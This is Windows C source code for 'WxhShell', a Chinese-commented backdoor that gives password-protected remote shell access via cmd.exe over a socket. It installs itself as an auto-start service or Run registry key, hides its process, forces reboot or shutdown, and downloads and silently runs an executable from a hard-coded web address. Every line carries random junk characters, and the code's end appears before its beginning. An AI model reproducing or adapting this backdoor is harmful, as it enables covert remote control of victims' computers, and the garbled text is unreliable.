    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >8OY6wb  
    if(Boot(SHUTDOWN)) 5.&)hmpg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C f d* Q  
    else { $m*Gu:#xm&  
    closesocket(wsh); pXN'vP  
    ExitThread(0); xYYa%PhIC  
    } s9nPxC&A  
    break; 2Zuo).2a.  
    } '#LzQ6Pn  
  // 获取shell FG{les+:  
  case 's': { QdQ1+*/+U  
    CmdShell(wsh); YMK ![ q-  
    closesocket(wsh); K@cWg C  
    ExitThread(0); ~KkC089D  
    break; #m?)XB^_  
  } 5toa@#Bc%  
  // 退出 AL3iNkEa  
  case 'x': { J9]cs?`)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z5M6  
    CloseIt(wsh); -40X3  
    break; _~\ } fY  
    } Is }kCf  
  // 离开 &b5(Su  
  case 'q': { 0^o/c SF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jED.0,+K !  
    closesocket(wsh); ;e5PoLc  
    WSACleanup(); T~Bj],k_  
    exit(1); 0D@$  
    break; -/{FGbpR;  
        } {b4`\ I@<  
  } wDW%v@  
  } *w*>\ZhOm  
-XCs?@8EQ  
  // 提示信息 [yQ%g;m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9.M'FCd~M  
} R3|4|JlGR  
  } \#dacQ2E@  
jLVD37 P^  
  return; ] T]{VB  
} ^&1O:G*"  
|H_WY#  
// shell模块句柄 n^ fUKi*;  
int CmdShell(SOCKET sock) b-  t  
{ `}=R  
STARTUPINFO si; Qm[s"pM  
ZeroMemory(&si,sizeof(si)); hd9HM5{p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ztSQrDbbb4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (M$>*O3SR  
PROCESS_INFORMATION ProcessInfo; c6 mS  
char cmdline[]="cmd"; ^OWG9`p+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h`1<+1J9  
  return 0; Fl=H5HR  
} UiH7  
@g5y_G{SP  
// 自身启动模式 ]&Y^  
int StartFromService(void) xLoQ0rt 6  
{ X7L:cVBg  
typedef struct [I4M K%YQ  
{ ~d]v{<3  
  DWORD ExitStatus; SU~.baP?  
  DWORD PebBaseAddress; ~i%=1&K&`  
  DWORD AffinityMask; QWfSm^ t  
  DWORD BasePriority; |3,WiK='  
  ULONG UniqueProcessId; IV. })8  
  ULONG InheritedFromUniqueProcessId; #c@&mus  
}   PROCESS_BASIC_INFORMATION; \uPzj_kU6  
7mMGH(  
PROCNTQSIP NtQueryInformationProcess; "*t6KXVaM  
a,RCK~GR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %hYgG;22  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '_.qhsS  
pz['o  
  HANDLE             hProcess; /CsP@f_Gw  
  PROCESS_BASIC_INFORMATION pbi; zQY ,}a  
1;=L] L?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %mT/y%&:  
  if(NULL == hInst ) return 0; <L qJg  
BK%B[f*[OA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dbn344s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #'s$6gT=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~KS@Ulrox  
9Tt%~m^  
  if (!NtQueryInformationProcess) return 0; pK3A/ry<  
@y;VV*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .@OQ$ D<  
  if(!hProcess) return 0; Pa3-0dUr  
!9/`PcNIpy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q NMZR  
+8//mrL_/  
  CloseHandle(hProcess); %`5 (SC].  
raPOF6-_rH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a&8K5Z%0  
if(hProcess==NULL) return 0; zT,@PIC(  
mk1R~4v  
HMODULE hMod; m1%rm-M  
char procName[255]; Yt(FSb31H  
unsigned long cbNeeded; E! NtD).=S  
hp'oiR;~w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hTn"/|_SW  
jerU[3  
  CloseHandle(hProcess); L4/ns@e  
n~yKq"^  
if(strstr(procName,"services")) return 1; // 以服务启动 %(eQ1ir+  
=figat  
  return 0; // 注册表启动 LQPQ !):;  
} R'c dEoy  
iiq `:G  
// 主模块 :wIA.1bK}  
int StartWxhshell(LPSTR lpCmdLine) MZh.Xo  
{ F7JO/U^oU  
  SOCKET wsl; 6L8nw+mEK  
BOOL val=TRUE; %MHL@Nn>e  
  int port=0; BNdq=|,+"  
  struct sockaddr_in door; jJiuq#;T3  
/ =6_2t#vA  
  if(wscfg.ws_autoins) Install(); qco'neR"z  
# atq7t X  
port=atoi(lpCmdLine); >]~581fYf  
 : Z<\R0  
if(port<=0) port=wscfg.ws_port; PDD2ouv4  
*b) (-#w3  
  WSADATA data; l.pxDMY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~wW]ntZm  
2Cp4aTGv#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3pWav 1"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8m iJQIq  
  door.sin_family = AF_INET; ^;PjO|mD Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f<bB= 9J  
  door.sin_port = htons(port); cwzkA,e@  
n>.@@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7Fo^ :"  
closesocket(wsl); j.Uy>ol  
return 1; ]}g\te  
} ,V9qiu=m   
uZn_*_J!  
  if(listen(wsl,2) == INVALID_SOCKET) { j_90iP^5:  
closesocket(wsl); Zb1GR5MB`k  
return 1; EX{%CPp7}  
} qA7,txQ:  
  Wxhshell(wsl); L%v@|COQ3  
  WSACleanup(); ]j7`3%4uK  
qLL rR,:  
return 0; GqCBD-@4v.  
tjtvO@?1-  
} d {U%q d  
+&G(AW  
// 以NT服务方式启动 ENhLonM eV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ; j.d  
{ 8X`DFeJ  
DWORD   status = 0; [ft6xI  
  DWORD   specificError = 0xfffffff; akbB=:M,x  
2K>1,[C'Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n`Pl:L*kG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q.B)?wm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1r> ]XhRFZ  
  serviceStatus.dwWin32ExitCode     = 0; ~fkcal1@  
  serviceStatus.dwServiceSpecificExitCode = 0;  }cMkh  
  serviceStatus.dwCheckPoint       = 0; h<&GdK2U+  
  serviceStatus.dwWaitHint       = 0; 4Px|:7~wT8  
a+LK~mC*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,HDhP  
  if (hServiceStatusHandle==0) return; ASy?^Jrs5  
7(o`>7x*  
status = GetLastError(); FA,n>  
  if (status!=NO_ERROR) o$L%t@   
{ |E6_TZ#=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e: Sd#H!  
    serviceStatus.dwCheckPoint       = 0; 87!jn'A  
    serviceStatus.dwWaitHint       = 0; dnD@BQ  
    serviceStatus.dwWin32ExitCode     = status; >|%3j,<U  
    serviceStatus.dwServiceSpecificExitCode = specificError; [6l0|Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F;#$Q  
    return; Y }VJ4!%U  
  } }'wZ)N@  
Lm}.+.O~d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?=Ceo#Er  
  serviceStatus.dwCheckPoint       = 0; -b!Z(}JK  
  serviceStatus.dwWaitHint       = 0; ^)]U5+g?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F,S)P`?  
} u=nd7:bv  
K.QSt  
// 处理NT服务事件,比如:启动、停止 QD%xmP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hA 5p'a+K  
{ _(J#RH  
switch(fdwControl) Y({ R\W|  
{ k#pO+[ x  
case SERVICE_CONTROL_STOP: Mu/(Xp62  
  serviceStatus.dwWin32ExitCode = 0; :u9'ZHkZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L3\#ufytb  
  serviceStatus.dwCheckPoint   = 0; ZbT$f^o}M]  
  serviceStatus.dwWaitHint     = 0; *yT>  
  { h'em?fN(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ')q4d0B`"  
  } JqO1 a?H  
  return; FLG"c690  
case SERVICE_CONTROL_PAUSE: BJ5MCb.w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $`GlXiV  
  break; fmK~?  
case SERVICE_CONTROL_CONTINUE: ^dLu#,;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MkMDI)Y|  
  break; $Z)u04;&@  
case SERVICE_CONTROL_INTERROGATE: yH" i5L9  
  break; Szt2 "AR  
}; $$ *tK8#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u_NLgM7*  
} KJyCfMH&:@  
A{\?]]/  
// 标准应用程序主函数 X>`03?L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C)j/!+nh  
{  I\_2=mL  
(8m_GfT  
// 获取操作系统版本  b}NNkM  
OsIsNt=GetOsVer(); NUVKAAgMX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DcBAncsK  
O0jOI3/P%  
  // 从命令行安装  mhrF9&s  
  if(strpbrk(lpCmdLine,"iI")) Install(); s.7=!JQ#]p  
v@QnS  
  // 下载执行文件 9NwUX h(:(  
if(wscfg.ws_downexe) { `l'T/F \  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `PAQv+EYz  
  WinExec(wscfg.ws_filenam,SW_HIDE); |HT7m5tu4  
} QB X EM=  
m2^vH+wD  
if(!OsIsNt) { s? ;8h &]=  
// 如果时win9x,隐藏进程并且设置为注册表启动 9soEHG=P  
HideProc(); *7H *epUa  
StartWxhshell(lpCmdLine); roc DO8f  
} >m lQ@Z_O  
else E0RqY3  
  if(StartFromService()) {Ni]S$7  
  // 以服务方式启动 Ojz'p5d`>  
  StartServiceCtrlDispatcher(DispatchTable); 3m75mny  
else vrb@::sy0T  
  // 普通方式启动 v\|jkzR5Y  
  StartWxhshell(lpCmdLine); `w#VYs|k  
nxV!mh_  
return 0; OEaL2T  
} 0<v5_ pB  
PP$2s]{  
AP%R*0]  
>?K=l]!(*  
=========================================== })<u ~r  
Pl/Xh03E  
/7"V~c6  
VsSAb%  
v#{Nh8n  
>6yQuB  
" ^G`6Zg;  
l4i 51S"  
#include <stdio.h> GdUsv  
#include <string.h> Wap4:wT  
#include <windows.h> ,gZp/yJ;  
#include <winsock2.h> 'gor*-o:wu  
#include <winsvc.h> Kd 1=mC  
#include <urlmon.h> 3'x>$5 W  
u-&V, *3l  
#pragma comment (lib, "Ws2_32.lib") Kkovp^G  
#pragma comment (lib, "urlmon.lib") aHu0z:  
^_3Ey  
#define MAX_USER   100 // 最大客户端连接数 v`QDms,{  
#define BUF_SOCK   200 // sock buffer ?XdvZf $  
#define KEY_BUFF   255 // 输入 buffer b#N P*L&  
#tA9`!  
#define REBOOT     0   // 重启 5ZkR3/h e  
#define SHUTDOWN   1   // 关机 >}F$6KM  
sXEIC#rq  
#define DEF_PORT   5000 // 监听端口 OEl;R7aOB&  
2?%4|@*H?  
#define REG_LEN     16   // 注册表键长度 jj2=|)w$3  
#define SVC_LEN     80   // NT服务名长度 kOo  Vqu  
?jfh'mCA  
// 从dll定义API 8hS^8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J \|~k2~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KRlJKd{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C)FO:lLr\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `q]' ^EzJ  
Bj4c_YBte  
// wxhshell配置信息 vkJyD/;=  
struct WSCFG { `:7r5}(^  
  int ws_port;         // 监听端口 W=A0+t%XC  
  char ws_passstr[REG_LEN]; // 口令 Tv7W)?3h  
  int ws_autoins;       // 安装标记, 1=yes 0=no |DW^bv  
  char ws_regname[REG_LEN]; // 注册表键名 BMO,eQcB  
  char ws_svcname[REG_LEN]; // 服务名 jt}oq%Bf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SujEF` "  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VtzZ1/J E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &TRKd)wd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aWimg6q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |-vyhr 0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'fK=;mM  
[sG`D-\P[  
}; gYN;F u-9Z  
XGR63hXND  
// default Wxhshell configuration XM!oN^  
struct WSCFG wscfg={DEF_PORT, "Cxj_V@\  
    "xuhuanlingzhe", 16eP7s  
    1, [dLc+h1{B  
    "Wxhshell", `:Wyw<^  
    "Wxhshell", !NNPg?Y  
            "WxhShell Service", eD7\,}O  
    "Wrsky Windows CmdShell Service", KL?<lp"  
    "Please Input Your Password: ", |0F o{  
  1, 8*&-u +@%  
  "http://www.wrsky.com/wxhshell.exe", B/3~[ '  
  "Wxhshell.exe" }N -UlL(  
    }; =>PX~/o  
W (TTsnnx  
// 消息定义模块 .(Ux1.0C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >.P* lT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qU6!vgM&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gmu.8  
char *msg_ws_ext="\n\rExit."; b/*QV0(  
char *msg_ws_end="\n\rQuit."; q*R~gEi#yk  
char *msg_ws_boot="\n\rReboot..."; i/ o  
char *msg_ws_poff="\n\rShutdown..."; n%;qIKnIq\  
char *msg_ws_down="\n\rSave to "; "?k'S{;  
+,"[0RH  
char *msg_ws_err="\n\rErr!"; fXnTqKAfu6  
char *msg_ws_ok="\n\rOK!"; _Q^jk0K8ga  
z|AknEE,  
char ExeFile[MAX_PATH]; &/uakkS  
int nUser = 0; U[;ECw@  
HANDLE handles[MAX_USER]; exSwx-zxI  
int OsIsNt; TuCHD~rb  
1 c"s+k]9  
SERVICE_STATUS       serviceStatus; @Z$fEG)9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6flO;d/v  
B YB9M  
// 函数声明 o(v`  
int Install(void); Z{(Gib~{N  
int Uninstall(void); ~7}no}7  
int DownloadFile(char *sURL, SOCKET wsh); sR PQr ?  
int Boot(int flag); _d~GY,WTdO  
void HideProc(void); n3J,`1*ct  
int GetOsVer(void); lbIW1z%:sy  
int Wxhshell(SOCKET wsl); {DvWa|  
void TalkWithClient(void *cs); :.H@tBi*E  
int CmdShell(SOCKET sock); YVRE 9  
int StartFromService(void); _`QMEr?  
int StartWxhshell(LPSTR lpCmdLine); w0js_P-uv  
sdXchVC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .w\4Th#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HWoMzp5="3  
&flcJ`  
// 数据结构和表定义 ~O./A-l  
SERVICE_TABLE_ENTRY DispatchTable[] = PTpCiiA@  
{ $aXYtHI  
{wscfg.ws_svcname, NTServiceMain}, .Z QXY%g  
{NULL, NULL} 2mj>,kS?c  
}; |OF3J,q  
bU}!bol  
// 自我安装 jj ` 0w@  
int Install(void) -{eiV0<^  
{ 7je1vNs  
  char svExeFile[MAX_PATH]; T;3~teVYB  
  HKEY key; )`5-rm~*  
  strcpy(svExeFile,ExeFile); vA*NJ%&`  
ZQz;EV!  
// 如果是win9x系统,修改注册表设为自启动 {XhpxJ__  
if(!OsIsNt) { !5m~qet.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h*P0;V`UX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +f]I7e:qp  
  RegCloseKey(key); ?\Y7]_]/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0x'Fi2=`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $\4Or  
  RegCloseKey(key); z5:3.+M5  
  return 0; 6x;"T+BSSS  
    } TKw>eGe  
  } )Knsy  
} 8v;T_VN  
else { n!b*GXb\  
$[=`*m  
// 如果是NT以上系统,安装为系统服务 f}FJR6VO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R<h0RKiM@  
if (schSCManager!=0) OK}8BY  
{ gJOswN;([  
  SC_HANDLE schService = CreateService )[sSCt]  
  ( #@5 jOi  
  schSCManager, CA"`7<,  
  wscfg.ws_svcname, n |,}   
  wscfg.ws_svcdisp, 4P24ySy9F  
  SERVICE_ALL_ACCESS, B;{sr'CP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BYS>"  
  SERVICE_AUTO_START, 9*|An  
  SERVICE_ERROR_NORMAL, Ke&fTK  
  svExeFile, nDchLVw  
  NULL, gY=+G6;=<  
  NULL, 6d 8n1_  
  NULL, N) z] F9Kg  
  NULL,  93 `  
  NULL QPF[D7\  
  ); |4Q><6"G  
  if (schService!=0) ',RR*{I  
  { +n`^W(  
  CloseServiceHandle(schService); v:j4#pEWD  
  CloseServiceHandle(schSCManager); P|)SXR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sag\wKV8  
  strcat(svExeFile,wscfg.ws_svcname); VHws9)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Otl(\v(h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LyXABQ]  
  RegCloseKey(key); 1hp@.Fv  
  return 0; @1[LD[<  
    } 9=~jKl%\vJ  
  } `V0]t_*D  
  CloseServiceHandle(schSCManager); 7 ~ Bo*UM  
} wY}+d0Ch  
} Ki@8  
Ix5yQgnB}j  
return 1; 0MzHr2?'P  
} 3 ?/}  
`wG&Cy]v  
// 自我卸载 %n c+VL4  
int Uninstall(void) c Ky%0oTla  
{ |b7>kM}"  
  HKEY key; 7~`6~qg.  
ae1fCw3k  
if(!OsIsNt) { ]R]X#jm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ')FNudsC  
  RegDeleteValue(key,wscfg.ws_regname); PwNLJj+%  
  RegCloseKey(key); q+G1#5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E3KPJ`=!*"  
  RegDeleteValue(key,wscfg.ws_regname); ,9M \`6  
  RegCloseKey(key); `0 F"zu  
  return 0; %BHq2~J  
  } h; unbz  
} CGg6nCB  
} pV-.r-P  
else { q C|re!K  
aA yFu_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ->#7_W  
if (schSCManager!=0) &k{@:z  
{ AU$5"kBE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %I=J8$B]f  
  if (schService!=0) Y2D) $  
  { -s!PO;qm  
  if(DeleteService(schService)!=0) { $fvUb_n  
  CloseServiceHandle(schService); pcl _$2_  
  CloseServiceHandle(schSCManager); YGn:_9  
  return 0; 6ensNr~ea  
  } 2Uk8{d  
  CloseServiceHandle(schService); <*5D0q#~"  
  } 3 \WdA$Wx  
  CloseServiceHandle(schSCManager); >) :d38M  
} bo"I:)n;  
} 1!NaOfP;@  
dX3> j{_  
return 1; %E!0,y,:  
} p_(hM&>C  
5Np.&  
// 从指定url下载文件 XZT( :(  
int DownloadFile(char *sURL, SOCKET wsh) Wl2>U(lj  
{ =gqZ^v&5U  
  HRESULT hr; ?3, *  
char seps[]= "/"; ff hD+-gTU  
char *token; ! O>mu6:Rf  
char *file; |ZKchd8Yq  
char myURL[MAX_PATH]; J)[(4R>  
char myFILE[MAX_PATH]; 6u7HO-aa  
#sHP\|rA  
strcpy(myURL,sURL); 5m3sjcp_  
  token=strtok(myURL,seps); K=>/(s Wiq  
  while(token!=NULL) U5PCj ]-Xt  
  { 8UZE C-K  
    file=token; JZ7-? o  
  token=strtok(NULL,seps); n C Z  
  } Fy@D&j  
d$Xvax,C  
GetCurrentDirectory(MAX_PATH,myFILE); U\z+{]<<  
strcat(myFILE, "\\"); ?0<3"2Db~  
strcat(myFILE, file); vT~a}  
  send(wsh,myFILE,strlen(myFILE),0); =w5w=qB  
send(wsh,"...",3,0); rYqvG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 33C#iR1(WJ  
  if(hr==S_OK) hv)($;  
return 0; ;Os3 !  
else <Jk|Bmw;  
return 1; i\'N1S<D  
g<-cHF  
} }A;Xd/,'r  
33 4*nQ  
// 系统电源模块 wDG4rN9x  
int Boot(int flag) KKzvoc?Bt  
{ RinRQd  
  HANDLE hToken; btE+.V  
  TOKEN_PRIVILEGES tkp; / u{r5`4  
lb('r"*.  
  if(OsIsNt) { "869n37  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M@3H]t?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zYNJF>^<  
    tkp.PrivilegeCount = 1; U|QDV16f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |g{AD`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '37b[~k4  
if(flag==REBOOT) { :[&X*bw[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /_|1,x-Kx  
  return 0; T_dd7Ym'8  
} \NqC i'&  
else { (65p/$Vh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {m?x},  
  return 0; $} Myj'`r  
} |+bG~~~%j  
  } 3PGyqt(   
  else { (!(bysi9  
if(flag==REBOOT) { F*=RP$sj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B+LNDnjO]  
  return 0; V_kE"W)  
} Y4O L 82Y  
else { jj2UUQ|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4Ojw&ys@V  
  return 0; .%A2  
} \v_C7R;&  
} ,d+mT^jN  
]lY9[~ v  
return 1; loJ0PY'}=  
} wGH@I_cy>  
%r"GL  
// win9x进程隐藏模块 9vu8koL  
void HideProc(void) u| c+w)a  
{ -Me\nu8(RF  
A.b#r[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5PPpX=\  
  if ( hKernel != NULL ) oX~CTunP  
  { wW4S@m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i]z i[Zo$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1^3#3duV  
    FreeLibrary(hKernel); S8VR#  
  } i.]zq  
1c!},O  
return; ~}*;Ko\  
} 0Pk-FSY|f  
[)A#9L~s=  
// 获取操作系统版本 fLAF/#\2  
int GetOsVer(void) 2LU'C,o?  
{ P>-,6a>  
  OSVERSIONINFO winfo; ? h%+2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D,/9rH  
  GetVersionEx(&winfo); Ah6x2(:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 08a|]li  
  return 1; [Bo$?  
  else ihrrmlN?  
  return 0; B(LV22#  
} val<N293L>  
(T01hR&  
// 客户端句柄模块 t,,^^ll  
int Wxhshell(SOCKET wsl) v"+EBfx  
{ d ] ;pG(  
  SOCKET wsh; X;:xGZ-oY  
  struct sockaddr_in client; +kL(lBv'  
  DWORD myID; <4,?lZ  
]w>fnew  
  while(nUser<MAX_USER) N sL"p2w~  
{ uw!|G>  
  int nSize=sizeof(client); "S:N- Tf%U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8A.7=C' z  
  if(wsh==INVALID_SOCKET) return 1; }HorR2(`N  
#+0 R!Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >U Lp!  
if(handles[nUser]==0) KT71%?P  
  closesocket(wsh); (qN(#~  
else GcW}<g}  
  nUser++; bf/loMtD  
  } ?y)X$D^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XD}_9p  
eB*8)gYh  
  return 0; ;r"B?]JO  
} |$2N$6\SP  
J *?_SnZ  
// 关闭 socket Vz]=J;`Mz  
void CloseIt(SOCKET wsh) C:MGi7f  
{ ^^l"brPa  
closesocket(wsh); 9G+rxyWMW  
nUser--; D:tZiS=0  
ExitThread(0); ycD.:w p\'  
} 'Y\"^'OU\  
@98SC}}u  
// 客户端请求句柄 %)Dd{|c  
void TalkWithClient(void *cs) UE w3AO  
{ T9-a uK0d  
yW?%c#9D  
  SOCKET wsh=(SOCKET)cs; bU`yymf{L  
  char pwd[SVC_LEN]; {+9\o ~  
  char cmd[KEY_BUFF]; Tpx,41(k  
char chr[1]; 98'XSL|  
int i,j; #/<Y!qV&  
4 GW[GT  
  while (nUser < MAX_USER) { g}QTZT8  
I>Fh*2  
if(wscfg.ws_passstr) { 4ZpF1Zc4B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XF$]KA L0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z %E!tB2o  
  //ZeroMemory(pwd,KEY_BUFF); C&N4<2b  
      i=0; s,H(m8#>  
  while(i<SVC_LEN) { C)p<M H<  
%5?-g[  
  // 设置超时 B Rj KV  
  fd_set FdRead; 4^_Au^8R(  
  struct timeval TimeOut; 9?chCO(@  
  FD_ZERO(&FdRead); .MARF  
  FD_SET(wsh,&FdRead); ky$:C,1t  
  TimeOut.tv_sec=8; ^) ^|;C\`  
  TimeOut.tv_usec=0; W r7e_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _kX/LR"L+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %uqD\`-  
+\vY;!^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BV?N_/DXp  
  pwd=chr[0]; U] -@yx  
  if(chr[0]==0xd || chr[0]==0xa) { f ?zK "  
  pwd=0; ]Wt6V^M'@  
  break; ./y[<e  
  } ]V^.!=gh$  
  i++; 6v O)s!b  
    } 6-14Htsk6  
4 Olv8nOe<  
  // 如果是非法用户,关闭 socket aw%vu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P3ev 4DL  
} L4*fF  
K |} ]<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JD`;,Md  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); udI: ]:,P  
,h.Jfo54,  
while(1) { yi-"hT`  
A<X :K nl  
  ZeroMemory(cmd,KEY_BUFF); j{Jc6U  
U{uWk3I_b  
      // 自动支持客户端 telnet标准   Qwo9>ClC  
  j=0; wDMB  
  while(j<KEY_BUFF) { #s R0*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A6y~_dt  
  cmd[j]=chr[0]; Hs -.83V  
  if(chr[0]==0xa || chr[0]==0xd) { )k] !u  
  cmd[j]=0; V3~a!k  
  break; 8421-c6y>  
  } jI2gi1 ,a  
  j++; ^ O Xr: P  
    } JKi@Kw  
;4v}0N~.  
  // 下载文件 P9mxY*K)%5  
  if(strstr(cmd,"http://")) { 2n;;Tso"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $F`<&o  
  if(DownloadFile(cmd,wsh)) )bXx9,VL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); })Mv9~&S  
  else cc(r,ij~4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IQi[g~E.5  
  } ~muIi#4  
  else { g6/N\[b%  
vWi. []  
